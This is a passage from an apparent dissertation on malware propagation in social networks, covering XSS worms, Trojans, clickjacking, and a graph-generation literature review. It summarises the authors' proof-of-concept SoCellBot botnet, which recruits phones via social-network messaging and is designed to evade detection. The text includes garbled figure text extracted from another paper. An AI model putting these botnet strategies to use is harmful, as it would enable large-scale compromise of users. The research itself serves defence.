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Abstract

The popularity and wide spread usage of online social networks (OSNs) have attracted

hackers and cyber criminals to use OSNs as an attack platform to spread malware. Over the

last few years, Facebook users have experienced hundreds of malware attacks. A successful

attack can lead to tens of millions of OSN accounts being compromised and computers

being infected. Cyber criminals can mount massive denial of service attacks against Internet

infrastructures or systems using compromised accounts and computers. Malware infecting a

user’s computer have the ability to steal login credentials and other confidential information

stored on the computer, install ransomware and infect other computers on the same network.

Therefore, it is important to understand propagation dynamics of malware in OSNs in order

to detect, contain and remove them as early as possible. The objective of this dissertation

is thus to model and study propagation dynamics of various types of malware in social

networks such as Facebook, LinkedIn and Orkut. In particular,

• we propose analytical models that characterize propagation dynamics of cross-site

scripting and Trojan malware, the two major types of malware propagating in OSNs.

Our models assume the topological characteristics of real-world social networks, namely,

low average shortest distance, power-law distribution of node degrees and high cluster-

ing coefficient. The proposed models were validated using a real-world social network

graph.

• we present the design and implementation of a cellular botnet named SoCellBot that

uses the OSN platform as a means to recruit and control cellular bots on smartphones.

SoCellBot utilizes OSN messaging systems as communication channels between bots.

We then present a simulation-based analysis of the botnet’s strategies to maximize

the number of infected victims within a short amount of time and, at the same time,

minimize the risk of being detected.

• we describe and analyze emerging malware threats in OSNs, namely, clickjacking,
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extension-based and Magnet malware. We discuss their implementations and working

mechanics, and analyze their propagation dynamics via simulations.

• we evaluate the performance of several selective monitoring schemes used for malware

detection in OSNs. With selective monitoring, we select a set of important users in the

network and monitor their and their friends activities and posts for malware threats.

These schemes differ in how the set of important users is selected. We evaluate and

compare the effectiveness of several selective monitoring schemes in terms of malware

detection in OSNs.
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Chapter 1

Introduction

In this chapter, we provide an overview of different malware types that target online social

networks (OSNs) and discuss the motivations and contributions of this dissertation.

1.1 Online Social Networks and Malware

Security threats to computer systems can be broadly classified into four groups: malware,

spam, software bugs, and denial of service attacks [5]. Malware has strong connections to

the other three types of security threats. Spam can be sent via malware while malware

can propagate through spam. Malware exploits software bugs (vulnerabilities) to attack

computer systems, and can be used to mount denial of service attacks. In 2014, ESET, an

IT security company, reported that 25% of cyber attacks were caused by malware [6].

Malware has been used as weapons in cyber warfare and for extortion. For instance, a

malware named Stuxnet targeted Siemens software systems used in Iran’s nuclear facilities to

disrupt their services [7]. Ransomware has been used to extort money from individuals and

organizations. Symantec reported a 35% increase in ransomware attacks in 2015 compared

with the year of 2014 [8].

Online social networks (OSNs) such as Facebook, Twitter and MySpace have provided

hundreds of millions of people worldwide with a means to connect and communicate with

their friends, families and colleagues geographically distributed all around the world. Online

social networking is one of the most popular services offered through the world wide web.

For instance, Facebook is the second most visited website in the world according to a recent

ranking by Alexa [9], only after Google. In a recent study done by comScore - a media

measurement and analytics company - social networking accounted for one in every five

minutes spent online [10].
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The popularity and wide spread usage of OSNs have attracted hackers and cyber crim-

inals who have used OSNs as a platform to spread malware [11, 12]. A successful attack

using malware on an OSN can lead to tens of millions of OSN accounts being compromised

and computers being infected. Cyber criminals can mount massive denial of service attacks

against Internet infrastructures or systems using compromised accounts and computers.

They can steal users’ sensitive information for fraudulent activities. Compromised OSN

accounts can be used to spread misinformation to bias public opinions [13], or even to in-

fluence automatic trading algorithms that rely on public opinions [14]. (Automatic trading

algorithms place buy/sell stock orders on behalf of human investors.)

There are two major types of malware that target online social network users: cross-site

scripting worm and Trojan.

• Cross-site scripting (XSS) worms: These are passive malware that exploits vulnera-

bilities in web applications to propagate themselves without any user intervention.

• Trojans: A Trojan is a type of malware that is often disguised as legitimate software.

Users are typically tricked by some form of social engineering into opening them (and

thus loading and executing Trojans on their systems). Trojans are the most common

method used to launch attacks against OSNs users, who are tricked into visiting

malicious websites and subsequently downloading malware disguised as legitimate

software (e.g., Adobe Flash Player). There are many variants of Trojans operating in

OSNs, including clickjacking worms [15] and extension-based malware [16].

Malware attacks in online social networks impact both individual and enterprise users. A

successful malware attack in a social network could breach confidentiality, integrity and/or

availability of an individual user’s data, or cause significant financial, regulatory and op-

erational damages to an enterprise or governmental organization. A malware installed on

a user’s computer have the ability to access contents on the compromised system, includ-

ing social network contents, credit card information, and login credentials. It can even

spread itself further by infecting other systems on the same network. Such Trojans have

the ability to form a botnet to open up channels for attackers to send further payloads such

as ransomware. Such a Trojan is a variant of Locky ransomware discovered in November

2016 [17], which was delivered via JPEG and SVG files via Facebook Messenger.
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1.2 Motivations and Contributions of the Dissertation

Given the popularity of malware in OSNs and their realized and potential damages, it is

important to understand their propagation dynamics in OSNs in order to detect, contain

and remove them as early as possible. Therefore, the focus of this dissertation is to model

and study propagation dynamics of various types of malware in social networks such as

Facebook, LinkedIn and Orkut. (These networks can be represented by undirected graphs,

in which each vertex represents a user, and an edge between two vertices represents the

existence of a mutual relationship between the two respective users.) We have identified

the following gaps in existing research:

• Most existing works on the topic of modeling propagations of worms and malware are

for networks such as people, email and cellular phones, which have been in existence

much longer than online social networks. Many of these models [18–21] assumed that

each user is directly connected to every other user in the same network (also known

as “homogeneous mixing”). This assumption does not hold true for a real-world OSN

such as Facebook where each user is directly connected to only his/her friends. As a

result, the “homogeneous mixing” assumption may lead to an over-estimation of the

infection rate in a real OSN [22,23]. Cheng et al. [24] proposed a propagation model

for malware that targets multimedia messaging service (MMS) and bluetooth devices.

Chen and Ji [25] and Chen et al. [26] modeled the spreading of scanning worms1 in

computer networks. Zou et al. [23] and Komnios et al. [27] studied the propagation

of email worms. Wen et al. [22] also modeled the propagation of malware in email

networks and in semi-directed networks represented by mixed graphs (i.e., a subset

of edges are directed while the others are undirected). Our work in the dissertation

focuses on modeling propagation of malware in online social networks represented by

undirected graphs such as Facebook, Linked and Orkut.

• The topic of malware propagation in OSNs has only been studied recently. Most of

existing studies on the topic of malware propagation in OSNs are based on simula-

tions [12, 28–30] or experiments [31]. There exist few works on the topic of modeling

propagations of malware in OSNs. Faghani and Saidi [32] proposed a very simple

model of propagation of XSS worms, which does not reflect topology characteristics

of a social network. Sanzgiri et al. [33] modeled the propagation of Trojans in the so-

1Scanning worms, scan targets, such as computers, routers, etc. for exploitable vulnerabilities in order

to deliver the malicious payload via vulnerability exploit.
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cial network Twitter where most relationships are one-directional (follower-followee),

unlike mutual relationships in Facebook or LinkedIn networks. We propose models

that characterize propagation dynamics of XSS worms and Trojans in OSNs repre-

sented by undirected graphs such as Facebook.

• Currently, it is a common practice by administrators of OSNs such as Facebook to

performs real-time checking on every read and write post. That amounts to 25 billion

posts checked per day, which reaches 650,000 posts checked per second at its peak [34].

Given a huge OSN such as Facebook, currently having more than one billion users

and growing, this practice is not very efficient. Instead of this exhaustive checking

method, a few methods based on selective monitoring have been proposed; some are

for OSNs [28,35,36] while the others are for other types of networks [37]. Using these

selective monitoring methods, we select only a set of important users in the network

and monitor their and their friends’ activities and posts for malware threats. These

methods differ in how the set of important users is selected. In this chapter, we

present a study of several selective monitoring schemes. In particular, we evaluate

and compare their effectiveness in terms of malware detection in OSNs.

• The ubiquitous nature of smartphone services and the popularity of online social

networking can be a lethal combination that spreads malware and computer viruses

in a quick and efficient manner to a large number of Internet users. However, no

existing work has considered this combination. We study this new trend of attack

by designing and implementing a new cellular botnet named SoCellBot that exploits

online social networks (OSNs) to recruit bots and uses OSN messaging systems as

communication channels between bots.

• There are emerging malware types that have not been investigated in the literature

such as clickjacking, extension-based malware and Magnet. We study their implemen-

tations and propagation dynamics using simulations.

Having identified gaps in existing research, we propose solutions in order to address

them. In particular, our contributions in this dissertation are as follows:

• We present analytical models to study propagation characteristics of XSS and Trojan

malware and factors that impact their propagation in an online social network. The

proposed models assume all the topological characteristics of real online social net-

works, namely, low average shortest distance, power-law distribution of node degrees
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and high clustering coefficient. Moreover, the models take into account attacking

trends of modern malware in OSNs, and security practices of OSN users. By taking

into account these factors, the proposed models can accurately and realistically esti-

mate the infection rate caused by XSS and Trojan malware in an OSN as well as the

recovery rate of the user population.

• We evaluate the performance of several selective monitoring schemes used for malware

detection in OSNs. With selective monitoring, we select a set of important users in the

network and monitor their and their friends activities and posts for malware threats.

These schemes differ in how the set of important users is selected. We evaluate and

compare the effectiveness of several selective monitoring schemes in terms of malware

detection in OSNs.

• We propose a new cellular botnet named SoCellBot that exploits online social net-

works (OSNs) to recruit bots and uses OSN messaging systems as communication

channels between bots. We implemented a real-life example of such botnet, which

communicates using Facebook Messenger.

• We describe and analyze emerging malware threats in OSNs, namely, clickjacking,

extension-based and Magnet malware. We discuss their implementations and working

mechanics, and analyze their propagation dynamics via simulations.

In the following sub-sections, we describe the motivations and contributions of the above

research issues in detail.

1.2.1 XSS Worm Propagation in Online Social Networks

XSS worms exploit existing vulnerabilities in web applications to propagate themselves.

The first OSN worm, Samy, that hit MySpace in 2005 by exploiting a cross-site scripting

(XSS) vulnerability in a MySpace web application infected about one million victims within

24 hours [30].

An XSS worm usually infects members of an OSN in two steps. In the first step (see Fig.

1.1), the worm creator embeds the malicious code into his/her (usually fake) profile or wall.

In the second step, any person who subsequently visits the infected profile will inadvertently

execute the embedded malicious code. An XSS flaw (such as the one exploited by Samy)

will help the worm to execute the malicious code in the visitor’s browser while an AJAX

(Asynchronous JavaScript and XML) technique intentionally enables the code to embed
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Figure 1.1: XSS worm propagation in online social networks

itself into the visitor’s profile. The visitor’s profile then becomes infected, waiting for the

next victim to land on it, which allows the worm to propagate further in the OSN [30].

Existing works on the topic of malware propagation focus on malware other than XSS

such as Trojan [12,28,31,33], scanning worms [25,26], and email worms [22,23,27,38]. There

are few works that study XSS worms in OSNs [30,32,39]. Faghani and Saidi [32] proposed a

simple model of XSS worm propagation in OSNs. This model assumes “homogeneous mix-

ing” and thus does not consider the topological characteristics of social networks. Faghani

and Saidi [30] further studied XSS malware propagation using simulations and compared

its propagation dynamics with Trojan malware. Cao et al. presented PathCutter [39], an

XSS detection tool that can detect XSS malware in social networks. On the other hand, our

research focus in this thesis is to study XSS propagation dynamics using real-world malware

samples, and model the propagation of XSS worms based on the topological characteristics

of OSN graphs.

We identify three major factors that have significant effects on the XSS worm propaga-

tion speed (infection rate) in an OSN. They are (1) user behaviors, namely, the probability

of visiting a friend’s profile versus a stranger’s; (2) the highly clustered structure of com-

munities; and (3) community (clique) sizes. We present analytical models and simulation

results that characterize the impacts of the above three factors on the propagation speed
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of XSS worms. The proposed analytical models and simulation results show that the clus-

tered structure of a community and users’ tendency to visit their friends more often than

strangers help slow down the propagation of XSS worms in OSNs.

Furthermore, the obtained results motivated us to go one step further by identifying and

evaluating potential algorithms for more resource-efficient detection mechanisms. Currently,

it is a common practice by administrators of OSNs such as Facebook to performs real-time

checking on every read and write post. That amounts to 25 billion posts checked per day,

which reaches 650,000 posts checked per second at its peak [34]. Given a huge OSN such

as Facebook, currently having more than one billion users and growing, this practice is not

very efficient. Instead of this exhaustive checking method, we evaluate the performance of

several selective monitoring schemes used for malware detection in OSNs. With selective

monitoring, we select a set of important users in the network and monitor their and their

friends activities and posts for malware threats. These schemes differ in how the set of

important users is selected. We evaluate and compare the effectiveness of several selective

monitoring schemes in terms of malware detection in OSNs.

1.2.2 Trojan Propagation in Online Social Networks

Over the past few years, Facebook users have experienced hundreds of separate Trojan

malware attacks [31, 40, 41]. For instance, the first variant of an OSN Trojan browser

extension called Kilim appeared in November 2014 [40]. From November 2014 to November

2016, almost 600 variants of Kilim were discovered [42]. In most cases, Trojan disguised

itself as a legitimate software. For instance, in two major Trojan attacks on Facebook,

the Trojan posed itself as an Adobe Flash player update [31, 41]. In a more recent attack

discovered in 2015 [41], a message enticed the victims to click on a link that redirected them

to a third-party website unaffiliated with Facebook where they were prompted to download

what was claimed to be an update of the Adobe Flash player. If they downloaded and

executed the file, they would infect their computers with a Trojan malware.

Existing works on the topic of malware propagation focus on malware other than Trojan

such as XSS [30, 32, 39], scanning worms [25, 26], or email worms [22, 23, 27, 38]. Existing

models of malware propagation [18–27] assume other types of networks such as people,

email and cellular phones as discussed earlier. There exist few works on the topic of Trojan

propagation in OSNs. Most of these studies are based on simulations [12,28–30]. Thomas et

al. [31] traced the activities of Koobface, a Trojan that targeted OSN users, for one month

to study its propagation characteristics. Sanzgiri et al. [33] modeled the propagation of
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Trojans in the social network Twitter where most relationships are one-directional (follower-

followee), unlike mutual relationships in Facebook or LinkedIn networks.

Having identified gaps in existing research, we propose an analytical model that

• considers characteristics of modern Trojans (e.g, malware blocking users’ access to

AV provider websites), security practices (e.g., users installing AV products on their

computers, AV manufacturers gradually releasing updates/patches against a newly

propagating malware), and user behaviour (e.g., seeking assistance from OSN friends

to clean up infected computers). None of previous works on modeling worms/malware

in OSNs considered the above factors.

• assumes the topological characteristics of real-world social networks, namely, low av-

erage shortest distance, power-law distribution of node degrees and high clustering

coefficient [43–45]. In this chapter, we consider OSNs that are represented by undi-

rected graphs such as Facebook, Linked and Orkut. To the best of our knowledge,

our work is the first that models Trojan propagation in such networks. (In the future

we will extend the model to OSNs represented by directed graphs such as Twitter.)

• is validated using a real-world social network graph, a Facebook sub-graph constructed

by McAuley and Leskovec [46] that possess all the characteristics of online social

networks as mentioned above. In all experiments we conducted, numerical results

obtained from the model closely match simulation results, demonstrating the accuracy

of the model.

• has low computational complexity while being accurate and taking into account a

wide range of influencing factors discussed above. In particular, the computational

complexity is O(E), where E is the number of edges in the network graph.

1.2.3 Cellular Botnet Formation via Online Social Networks

A cellular botnet is a group of compromised cellular phones that are controlled by one

or more botmasters. Although there exist several cellular botnet designs in the literature

[47], [48], [49], [50], [51], they all use SMS (short messaging service) or HTTP payloads as

the command and control channel to recruit and control bots. Unlike existing works, our

proposed botnet is the first that uses the OSN platform as a means to recruit and control

cellular bots.

OSNs are a more effective medium than SMS for botnets to carry out such an attack for

the following reasons. First, most cellular network providers offer OSN access to their clients
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free of charge. This makes OSN messaging systems a cost-effective solution for cellular bots

to send and receive commands and control messages. Second, messages exchanged in OSNs

are usually encrypted, making it hard for cellular network providers to identify and block

botnet messages. Third, the topology of an OSN-based botnet is more resilient to bot

failures or unavailability (compared with commonly seen botnets using on short message

services (SMS) [47], [50]) thanks to the highly clustered structure of the social network

graph [30]. Our main contribution in this chapter as a “devil’s advocate” is to move away

from traditional SMS-based botnets to take advantage of social networks for both recruiting

and controlling bots, resulting in stealthier and more resilient mobile botnets.

In this chapter, we provide in-depth descriptions of the design and implementation of

SoCellbot, and present a comprehensive evaluation of the propagation characteristics of

SoCellBot. In particular, we present:

• a comprehensive simulation-based analysis of the botnet’s strategies to maximize the

number of bots (infected victims) within a short amount of time, while minimizing

the risk of being detected;

• an analytic model of the recruitment phase to estimate the number of bots recruited

over time;

• a real-world implementation of SoCellbot on a small-scale social network we created,

and experimental results obtained from this implementation.

Our objectives are (1) to raise awareness of new mobile botnets that exploit OSNs to

recruit bots, and (2) to offer a better understanding of this new type of botnet so that

preventive measures can be implemented to deter this kind of attack in the future.

1.2.4 Emerging Malware Threats in Online Social Networks

Online social networks are under constant attacks, and adversaries always try to find new

ways to target OSN users. We describe and analyze three emerging malware threats in

OSNs, namely, clickjacking, extension-based and Magnet malware. We discuss their imple-

mentations and working mechanics, and analyze their propagation dynamics via simulations.

These emerging threats are:

1. Clickjacking malware: Clickjacking is an exploit in which multiple transparent or

opaque layers are added to trick a user into clicking on a button or link on another

page while the user meant to click on the currently displayed page. This way an

attacker “hijacks” clicks and routes them to another page.
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2. Extension-based OSN malware: This type of malware automatically installs an

extension into the web browser without the user’s knowledge in order to intercept

the user’s social network traffic for malicious purposes, such as hijacking the user’s

credentials.

3. Magnet malware: Traditional Trojans send malicious links/messages to friends di-

rectly connected to an infected user u (i.e., u’s one-hop neighbors in the network

graph). Magnet can send malicious links/messages not only to the infected user’s

friends but also to their friends (i.e., u’s two-hop neighbors). This mechanism signifi-

cantly speeds up the propagation process of the malware.

To the best of our knowledge, there have been no studies on clickjacking malware,

extension-based OSN malware or Magnet. Such studies can help OSN administrators to

understand propagation characteristics of these malware types to detect them in their early

stages of propagation. In this chapter, we provide in-depth analyses of these three new

malware types. In particular, we present:

• implementations of clickjacking, extension-based and Magnet malware and their work-

ing mechanics;

• simulation-based studies of clickjacking and Magnet malware using real-world malware

samples.

We identify two major factors that have significant effects on the clickjacking worm propa-

gation speed (infection rate) in an OSN. They are (1) user behavior, namely, the probability

of following a posted link and (2) the highly clustered structure of communities. We also ob-

serve that Magnet can send malicious links/messages not only to the infected user’s friends

but also to their friends (two-hop neighbors). This mechanism significantly speeds up the

propagation process of the malware.

1.3 Thesis Organization

The remainder of the thesis is organized as follows. We provide a review of related work

in Chapter 2. In Chapter 3, we present analytical models and simulation results that

characterize the propagation of XSS worms in OSNs. We then present a study of selec-

tive monitoring schemes, which are more resource efficient than the exhaustive checking

approach. In Chapter 4, we present an analytical model to study propagation characteris-

tics of Trojans and factors that impact their propagation in an online social network. In
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Chapter 5, we propose a new cellular botnet named SoCellBot that exploits online social

networks (OSNs) to recruit bots and uses OSN messaging systems as communication chan-

nels between bots. We also provide a real-life implementation of the botnet on a small-scale

social network as proof of concept. In Chapter 6, we analyze the implementation of three

emerging threats, namely, clickjacking, extension-based and Magnet malware. Furthermore,

we present simulation-based studies of clickjacking and Magnet malware using real-world

malware samples. We conclude the thesis, and outline future research directions in Chapter

7.
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Chapter 2

Literature Review

This chapter begins with an overview of characteristics of online social networks, followed by

a review of various malware threats. We then present a survey of OSN malware, followed by

a literature review of existing studies on ONS malware. Next, we review existing studies on

countermeasures against OSN malware threats. Furthermore, we review existing malware

propagation models in OSNs, followed by existing studies on smartphone malware threats.

2.1 Characteristics of Online Social Networks

Throughout this research, we are interested in understanding the propagation of malware

in an online social network. Since an OSN malware propagates from one member to an-

other, we need to understand the OSN topology structure to identify propagation dynamics.

Therefore, our main goal in this chapter is to present the main characteristics of online so-

cial networks in the graph theory context. An OSN can be represented by a graph in which

each vertex (or node) represents a person, and a link between two vertices indicates the

existence of a relationship between two respective persons. The link between two vertices

can be directed or undirected resulting in directed graphs (such as the Twitter network) or

undirected graphs (such as the Facebook network), respectively. To simplify the discussions

in this chapter, we generalize relationships between OSN users as friendship. (In some OSNs

such as LinkedIn, relationships can be colleagues or business contacts).

2.1.1 Representing OSN as Graphs

An OSN can be represented by an equivalent directed or an undirected graph G(V,E)

consisting of a set of vertices V and set of edges E where each edge eij connects vertices
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vi and vj . In an undirected graph such as the Facebook network, if person A is a friend of

person B, person B is also a friend of person A; thus the representative graph will be an

undirected graph. On the other hand, in a social network such as Twitter, the representative

links are directed because if a person A follows person a B, there is no guarantee that B

follows A. Thus, there will be a directional link from user A to user B.

OSN networks have shown to demonstrate common characteristics of traditional social

networks such as a country, a city or an ethnic community [45]. Studies have shown that real-

world social networks are highly clustered network, [2,43–45,52] with a degree distribution

often following a power law distribution. The topological characteristics of online social

networks can be summarized as follows [43–45,53]:

1. An OSN typically has a low average network distance, approximately equal to log(n)/ log(d),

where n is the number of vertices (people), and d is the average vertex degree of the

equivalent graph.

2. Online social networks typically show a high clustering property, or high local tran-

sitivity. That is, if person A knows B and C, then B and C are likely to know

each other. Thus A, B and C form a friendship triangle. Let k denote the degree

of a vertex v. Then the number of all possible triangles originated from vertex v is

k(k − 1)/2. Let f denote the number of friendship triangles originating from a ver-

tex v in a social network graph. Then the clustering coefficient C(v) of vertex v is

defined as C(v) = 2f/(k(k − 1)). The clustering coefficient of a graph is the average

of the clustering coefficients of all of its vertices. In an OSN, the average clustering

coefficient is about 0.1 to 0.7.

3. Node degrees of a social network graph tend to be, or at least approximately, power-law

distributed. The node degree of a power-law topology is a right-skewed distribution

with a power-law Complementary Cumulative Density Function (CCDF) of F (k) ∝
k−α, which is linear on a logarithmic scale. The power law distribution states that the

probability for a node v to have a degree k is P (k) ∝ k−α, where α is the power-law

exponent. Power-law networks are also called scale-free networks.

Online social networks have low average network distances and high clustering coeffi-

cients. Networks with these two properties are called small-world networks in the context

of graph theory [45]. That is, OSNs are a subset of small-world networks.

Directed OSN graphs such as Youtube, LiveJournal and Flickr also demonstrate power

law distributions of node indegrees and outdegrees [45]. Furthermore, there is a high cor-
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relation between indegrees and outdegrees in such graphs, mainly due to symmetric links

between nodes (profiles) in the graphs. That is, if user A follows user B, it is highly likely

that user B reciprocates and follows user A.

2.1.2 Synthesized Online Social Networks

In addition to available real-word social network graph data, such as those provided by

Leskovec et al. [46] researchers may require data from tunable synthesized social networks

to study the impacts of particular topological attributes such as clustering coefficients.

There exist only a few algorithms [2,43,44,54] that can generate social network graphs with

real-world OSN characteristics for research purposes. In this subsection, first we review the

algorithm by Kawachi [2] followed by the algorithm by Decker [43]. We then discuss the

algorithm of Davidsen [54] followed by the algorithm by Holme and Beom [44].

The Algorithm by Kawachi

This algorithm [2] is based on the algorithm proposed by Watts and Strogatz (WS) [1,

52]. Before reviewing Kawachi’s algorithm, let us first discuss the algorithm by Watts and

Strogatz [52], which we term the WS algorithm.

The goal of the WS algorithm is to generate graphs with small-world features, i.e., short

average distance and high clustering coefficient. The WS algorithm works as follows:

1. Start from a regular ring lattice G(V,E) with k edges per vertex.

2. Choose vertex vi and the edge that connects it to the nearest neighbor vj (that is, the

distance between vi and vj is one hop: D(vi, vj) = 1) .

3. With probability p reconnect v to another vertex chosen uniformly randomly over the

entire ring. Skip duplicate edges.

4. Repeat steps 2 and 3 for all the vertices in the graph in the clockwise direction.

5. Repeat steps 2 to 4 for every vertex vi in the graph. This time choose an edge that

connects vi to the second-nearest neighbour vj (that is, D(vi, vj) = 2).

6. Repeat step 5 by incrementing D(vi, vj).

7. Repeat step 6 until all the original edges in E are processed and reconnected.
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Algorithm 1 The WS algorithm

1: Input: Regular ring lattice graph G1(V,E) with k edges per vertex

2: Output: Graph G2(V,E)

3: for h = 1 to k/2 do

4: for each vi in V do

5: select eij ∈ E where D(vi, vj) = h

6: select j′ ∈ V uniformly and reconnect vj to v′j with probability p. Skip duplicate

edges. E = E\{eij}; E = E ∪ {eij′}
7: end for

8: end for

9: G2(V,E)← G1(V,E)

This above algorithm is written in a pseudo-code in Algorithm 1.

The value of p tunes the graph between regularity (p = 0) and random (p = 1). Figure

2.1 shows the resulting graphs as a function of p for three values of p : p = 0, p = 1 and

0 < p < 1. The initial regular graph is a lattice network with n = 20 and k = 4.

Figure 2.1: Watts’ rewiring process [1]

For each value of p (0 ≤ p ≤ 1), Watts et al. calculated the clustering coefficient C(p)

and the shortest average distance L(p) of the graph. They then calculated the ratios of

C(p)/C(0) and L(p)/L(0) for different values of p, which are illustrated in Figure 2.2.

Figure 2.2 shows the values of the ratios C(p)/C(0) and L(p)/L(0) as a function of p.

As it can be seen, a high value of p simultaneously lowers the clustering coefficient and

shortest average distance. However, there exist some graphs with large values of clustering

coefficient and low values of average shortest distance. For example, given p = 0.02, the

resulting graph maintains a clustering coefficient ratio of 0.9 while the average shortest

distance ratio is reduced to 0.1. This graph represents a small-world graph [52].

Kawachi et al. [2] introduce power-law degree distributions to the WS algorithm [52].
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Figure 2.2: Average shortest distance vs. clustering coefficient for Watts’ graphs [1]

The pseudo-code for their algorithm is shown in Algorithm 2. Algorithm 2 is run several

times until the new graph satisfies the three characteristics of social networks (i.e., low

average distance, high clustering coefficient and power-law degree distribution).

Figure 2.3 shows the degree distribution graph for different values of p, starting from

a regular network (p = 0) to a small world network (p = 1) with node-degree following

power-law distribution.
Complex 2004 The 7th Asia-Pacific Conference on Complex Systems

Figure 5.The degree distributionsP (k) and the number of linksk at rewiring probabilityp.

m is chosen following probabilityΠ(km). If the choice divides the network into some
parts of the separated networks, choose a new nodes repeatedly.

Π(km) =
km + 1

Σl(kl + 1)
(6)

Note that the probabilityΠ(km) is proportional tokm +1 because there is nonzero proba-
bility for isolated nodes (km = 0) when acquiring new links (Albert and Barabási (2000)).

3. When all links of each node have been considered once, the procedure is repeated several
times. (In this experiment, it was repeated three times for the same value ofp.)

Our model includes four type of networks and will show a transition, though other models
mentioned previous section include only some parts of these networks (Table 1).

4. Experiments and Results

Using our fixed cardinal network model, we experimented from a regular network withn =
1000 andk = 10, and then analyse the network structures and calculate quantitative character-
istics,L andC.

Fig. 5 shows the degree connectivities and Fig. 6 shows the relation ofL andC, which are
normalised by the valuesL(0) andC(0). The indexes (0)-(6) are corresponding in each figure.

• (0) p = 0: Regular network. At the beginning, all nodes have the same number of links
k = 10.

• (3) p = 10−2.0: Small-world network. The degree distribution has the peak that indicates
the averagēk and the network has largeC and smallL.

• (5) p = 10−3.0: Random network. The degree distribution has the peak and bothL andC
are small.

252

Figure 2.3: Kawachi’s algorithm process [2]

The Algorithm by Dekker

Dekker extends the Kawachi algorithm discussed above, by introducing another parameter

called π. This parameter modifies the preferential attachment in the rewiring process of the
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Algorithm 2 Kawachi’s algorithm

1: Input: Graph G1(V,E)

2: Output: Graph G2(V,E)

3: for each vi in V do

4: for each eij in E do

5: rewire eij with probability p {
6:

∏
(km) = (km + 1)/(

∑
l(kl + 1))

7: if degree(i) > degree(j) then

8: connect vi to vm with probability
∏

(km)

9: E = E ∪ {eim}
10: else

11: connect vj to vm with probability
∏

(km)

12: E = E ∪ {ejm}
13: end if

14: E = E\{eij}
15: }
16: end for

17: end for

18: G2(V,E)← G1(V,E)

17



Kawachi algorithm [43] which helps the algorithm to generate more realistic social networks

[43]. That is, line 6 in Algorithm 2. They simply change the preferential attachment

probability to:

∏
(km) = (km + 1)π/(

∑
l

(kl + 1)) (2.1)

After various studies with different configurations and parameter selection, Dekker rec-

ommends to use p = 0.6 and π = 5 to get reasonable results that satisfied social network

characteristics for realistic social networks.

The Algorithm by Davidsen et al.

Davidsen et al. [54] proposed a social graph generating algorithm by observing two key

parameters of the evolution of social networks in real-life, i.e., introduction of acquaintances

and limited lifetime of a node in the network.

In order to generate a social network graph with the three main characteristics stated

above, Davidsen et al. proposed an algorithm that follows the steps below in an iterative

form:

1. Start with a fixed set of nodes N

2. Choose a random node i uniformly in the graph

3. Choose two neighbors of node i randomly

4. Create an undirected link between them if not already exists

5. If the node has less that two neighbors, select another node j from the network and

connect them using and undirected link eij

6. Remove a random node with probability p, including all the links connected to the

selected removing node. Replace the the removed node with a new node and one

randomly selected neighbor.

7. Repeat the above steps until a satisfactory result is met

Their experimental analysis of the above algorithm shows that for large values of N , and

small values of p << 1, they were able to achieve graphs that carry the three main charac-

teristics of social networks as discussed above [54]. Next, we discuss the algorithm proposed

by Holme and Beom that generates social networks with tunable clustering coefficients.

18



The Algorithm by Holme and Beom

This algorithm is based on the algorithm proposed by Barabasi and Albert [55] which

we term the BA algorithm. The objective of the BA algorithm is to create graphs with

node degrees following power law distributions. These graphs have short average network

distances typical of OSNs, but they may not have high clustering coefficients to faithfully

model social network graphs [44]. This motivated Holme and Beom to modify the BA

algorithm to generate graphs having high clustering coefficients (between 0.1 and 0.7) typical

of OSNs.

The BA algorithm works as follows:

1. The initial condition: A graph consists of m0 vertices and no edges.

2. The growth step: One new vertex v with m edges is added to the above graph at

every time step. Time t is defined as the number of time steps.

3. The preferential attachment (PA) step: Each of the m edges incident on v is then

attached to an existing vertex u with the probability Pu defined as follows:

ku∑
i∈V ki

(2.2)

In Equation 2.2 ki denotes the degree of node i, and V is the set of vertices of the current

graph. The growth step is iterated N times, where N is the total number of vertices (users)

in the final OSN graph. Every time a vertex v with m edges is added to the network, the

PA step is performed m times, once for each of the m edges incident on v. After t time

steps, the BA network graph will contain N = m0 + t vertices.

To increase the clustering coefficient, Holme and Beom suggested a new step called triad

formation (TF). If, in a PA step, an edge between u and v is formed, then a TF step will

attempt to add another edge between v and an arbitrary neighbor w of u. If all neighbors

of u have already been connected to v, the TF step is skipped and a new PA step will start.

In each iteration, a PA step is first performed: a vertex v with m edges is added to the

existing network. Then a TF step is executed with probability Pt. The average number of

the TF trials per added vertex is given by mt = (m−1)×Pt which is a control parameter in

Holme’s algorithm. It has been shown that the degree distribution of any graph generated

by Holme’s algorithm will have node degrees following a power law distribution with α = 3.

We used Holme’s algorithm to generate a graph that has the characteristics of a social

network and the following parameters: α = 3, N = 10000, m0 = 3, m = 3 and mt = 1.8.
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The parameters of the resulting social network graph are listed in Table 1.

Table 2.1: Parameters of the simulated OSN and its ERG

Graphs

OSN graph (Holme and Beom) ERG (Viger and Latapy)

Parameter Value Value

Number of vertex (people) 10000 10000

Number of edges 29990 29990

Average clustering coefficient 0.14 0.0035

Average shortest path length 5.13 4.4

Network diameter 10 8

Maximum node degree 190 190

Average node degree d 5.99 5.99

log(n)/ log(d) 5.14 5.14

As Table 1 shows, the synthesized OSN graph satisfies all the three required character-

istics of an OSN. The average shortest path length of the graph is 5.13, which is less than
logn
log d = 5.14 . The clustering coefficient is moderate, approximately 0.14. The degrees of

the vertices follow a power law distribution, as shown in Figure 2.4.
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Figure 2.4: The degrees of the vertices of the resulting graph follow a power law distribution.

Next, we discuss algorithms that are used to generate random graphs. Random graphs

are needed to study the impacts of different topological characteristics of malware propa-

gation in social networks.
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2.1.3 Random Graph Generation Algorithms

In this subsection, we discuss random graph generation algorithms. There exist two main

types of algorithms for generating random graphs. In the first type of algorithms, the

graph is started with a set of n isolated vertices and then edges are added between them,

consequently in a random form [56–58]. For instance, the algorithm by Erdős and Rényi

generates a random graph with a given set of nodes, and the probability of edge inclusion

p [56]. In the second type of algorithms, a random graph is generated via randomizing an

existing graph [3, 52, 55]. For instance, Viger and Latapy generates a random graph based

on an existing graph, simply by rewiring the existing graph edges between vertices [3]. We

will discuss these two types of algorithms by reviewing the most well-known algorithms in

each category, i.e., Erdős and Rényi and Viger-Latapy algorithms.

Erdős-Rényi’s Algorithm

Sometimes it is necessary to compare an OSN graph to a graph having the same number of

nodes and edges but different characteristics such as average network distance, clustering

coefficient and node degree distribution. The algorithm proposed by Erdős-Rényi [56] allows

us to generate such graphs. In this algorithm, a random graph G(V,E) will be generated by

connecting n = |V | nodes randomly. Each edge is included in the graph with a probability

p independent of every other edge in the graph.

Give that there will be |E| ≈
(
n

2

)
